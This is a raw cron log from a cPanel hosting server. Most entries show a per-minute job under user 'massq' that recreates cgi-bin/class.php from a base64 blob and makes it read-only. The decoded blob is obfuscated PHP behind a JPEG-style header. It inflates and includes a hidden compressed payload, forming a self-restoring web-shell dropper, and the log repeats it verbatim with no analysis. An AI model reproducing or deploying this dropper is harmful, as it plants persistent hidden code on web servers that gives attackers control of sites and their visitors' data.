Nov 13 08:14:01 server CROND[19196]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:15:01 server CROND[20051]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 08:15:01 server CROND[20054]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 08:15:01 server CROND[20052]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 13 08:15:01 server CROND[20053]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:16:01 server CROND[20720]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:17:02 server CROND[21350]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:18:01 server CROND[22071]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:19:01 server CROND[22719]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:20:01 server CROND[23507]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:20:01 server CROND[23509]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 08:20:01 server CROND[23506]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 08:20:01 server CROND[23505]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 08:20:01 server CROND[23508]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 08:21:01 server CROND[24549]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:22:01 server CROND[25399]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:23:01 server CROND[26268]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:24:01 server CROND[27131]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:25:01 server CROND[28001]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 08:25:01 server CROND[28002]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 08:25:01 server CROND[28003]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 13 08:25:01 server CROND[28004]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:26:01 server CROND[29023]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
